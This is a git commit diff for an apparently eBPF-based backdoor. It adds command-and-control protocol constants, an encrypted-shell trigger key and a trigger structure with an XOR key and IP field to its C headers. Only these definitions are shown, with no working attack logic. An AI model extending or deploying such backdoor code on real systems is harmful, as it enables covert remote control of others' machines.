Added V1 command sending via secret trigger on backdoor

This commit is contained in:
h3xduck
2022-05-05 12:59:02 -04:00
parent ead4a4ca68
commit 2deebf1b9e
7 changed files with 1712 additions and 1669 deletions

View File

@@ -1,6 +1,8 @@
#ifndef __BPF_CC_H
#define __BPF_CC_H
#include "protocol.h"
#define CC_PROT_SYN "CC_SYN"
#define CC_PROT_ACK "CC_ACK"
#define CC_PROT_MSG "CC_MSG#"

View File

@@ -1,6 +1,16 @@
#ifndef __PROTOCOL_H
#define __PROTOCOL_H
//V1
//Value added to K3 to define command to send
#define CC_PROT_K3_TOTAL_DEFINED_KEYS_V1 1
#define CC_PROT_K3_ENCRYPTED_SHELL_TRIGGER_V1 0x00
//V2
struct trigger_t {
unsigned char xor_key;
unsigned int ip;
@@ -11,4 +21,5 @@ struct trigger_t {
};
#endif